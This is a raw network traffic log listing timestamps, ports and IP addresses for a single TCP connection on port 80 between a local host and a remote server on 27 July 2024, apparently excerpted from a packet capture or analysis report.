Jul 27, 2024 05:39:18.634704113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634732008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634768963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634778976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634782076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634815931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634825945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634849072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634859085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634882927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634892941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634916067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634924889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634952068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634959936 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634985924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634995937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635019064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635030985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635052919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635066032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635086060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635094881 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635118961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635123968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635153055 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635163069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635186911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635195971 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635222912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635229111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635255098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635267019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635288954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635298014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635322094 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635330915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635355949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635370970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635389090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635402918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635423899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635432959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635457039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635477066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635489941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635499954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635523081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635531902 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635557890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635565996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635591030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635601044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635627031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635634899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635659933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635669947 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635694027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635701895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635727882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635736942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635762930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635771036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635798931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635804892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635833025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635840893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635867119 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635876894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635900974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.635909081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.635945082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722296000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722363949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722363949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722398996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722412109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722434044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722444057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722475052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722489119 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722522020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722536087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722557068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722565889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722589970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722604036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722625971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722635031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722659111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722671032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722693920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722703934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722734928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722749949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722796917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722801924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722843885 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722843885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722893953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.722896099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722933054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.722965956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723001003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723002911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723037958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723051071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723067999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723072052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723090887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723109007 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723124981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723170042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723175049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723210096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723221064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723242044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723252058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723275900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723284006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723309994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723315001 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723347902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723356009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723395109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723398924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723443031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723449945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723481894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723489046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723515034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723524094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723547935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723560095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723582029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723589897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723614931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723627090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723659039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723665953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723711014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723722935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723756075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723767996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723784924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723799944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723829985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723834038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723867893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723901033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723915100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723920107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723958015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.723964930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.723999023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724010944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724033117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724041939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724065065 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724075079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724107981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724116087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724160910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724165916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724209070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724215984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724248886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724256992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724282980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724292040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724317074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724325895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724354029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724359035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724397898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724405050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724438906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724450111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724479914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724535942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724575996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724589109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724632025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724637032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724670887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724688053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724708080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724715948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724742889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724754095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724776030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724785089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724808931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724821091 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724852085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724864006 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724910021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724915981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724948883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.724960089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.724991083 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725001097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725043058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725049973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725085020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725094080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725119114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725126982 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725163937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725183964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725197077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725208044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725230932 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725240946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725265980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725275993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725307941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725316048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725347996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725361109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725382090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725389957 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725415945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725428104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725459099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725466013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725500107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725512028 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725533009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725543022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725575924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725581884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725615978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725625992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725649118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725663900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725682974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725692987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725717068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725727081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725752115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725759983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725785971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725794077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725819111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725827932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725852013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725862026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725886106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725893974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725919008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725933075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725953102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725961924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.725986004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.725996017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726021051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726030111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726054907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726063967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726089001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726098061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726121902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726134062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726155996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726164103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726187944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726198912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726222038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726231098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726254940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726264954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726290941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726295948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726320982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726334095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726352930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726361990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726387978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726397038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726421118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726433992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726455927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726463079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726489067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726499081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726522923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726531029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726555109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726564884 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726589918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726597071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726622105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726633072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726655960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726664066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726691008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726700068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726726055 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726737976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726761103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.726771116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.726809025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.814781904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.814888954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.814984083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.815100908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.815355062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.815407038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.815407991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.815449953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.815455914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.815496922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.815500975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.815535069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.815546989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.815567970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.815586090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.815602064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.815612078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.815634966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.815649986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.815669060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.815681934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.815705061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.815716028 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.815740108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.815752983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.815773964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.815785885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.815819025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.816180944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.816214085 CEST	80	49477	85.28.47.31	192.168.2.4
